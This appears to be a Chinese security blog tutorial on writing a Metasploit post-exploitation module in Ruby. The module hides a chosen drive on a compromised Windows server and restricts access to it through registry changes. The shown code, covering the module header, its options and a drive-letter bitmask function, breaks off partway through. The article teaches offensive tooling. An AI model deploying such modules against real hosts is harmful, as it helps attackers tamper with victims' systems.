*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。前言后渗透模块，顾名思义是在成功渗透目标主机之后进行操作的模块，这类模块可以达到某种或某些特定的目的。在Metasploit中，模块是后缀名为.rb的文件，它是利用Ruby编写的程序。本文详细描述了如何利用Ruby编写隐藏和禁止访问特定驱动器的后渗透模块、如何在Metasploit中加载该后渗透模块以及如何在meterpreter中利用该后渗透模块的过程。实验环境1.渗透主机：Kali-Linux-2019.1-vm-amd642.目标主机：Windows Server 2008 R23.软件版本：Metasploit v5.0.2编写后渗透模块1.模块的第一部分如下所示：# This module requires Metasploit: https://metasploit.com/download# This module is used to hide and restrict access to a particular drive# after you have successfully penetrated a serverrequire 'rex'require 'msf/core'require 'msf/core/post/windows/registry'class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Description'=> 'This module is used to hide and restrict access to a particular drive', 'License'=> MSF_LICENSE, 'Author'=> 'Neroqi', ) register_options( < OptString.new('DriveCharacter', )>, self.class) endMetasploit的模块编写建议从注释开始，注释语句以“#”开头，注释能够增强模块的可读性，方便他人和自己以后的阅读使用。require ‘rex’引入了Metasploit中rex库的所有内容；require ‘msf/core’引入了Metasploit中core库的所有内容；require ‘msf/core/post/windows/registry’引入了registry.rb库文件，用于后续操作目标主机的注册表。class MetasploitModule < Msf::Post表示将该模块定义为Post类型，即后渗透模块类型。方法initialize定义了模块的相关信息及参数，其中register_options使用OptString.new函数定义了一个字符串变量DriveCharacter，用于存储盘符。2.模块的第二部分如下所示： def drive_converter(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 when "F" return 32...
安全文章
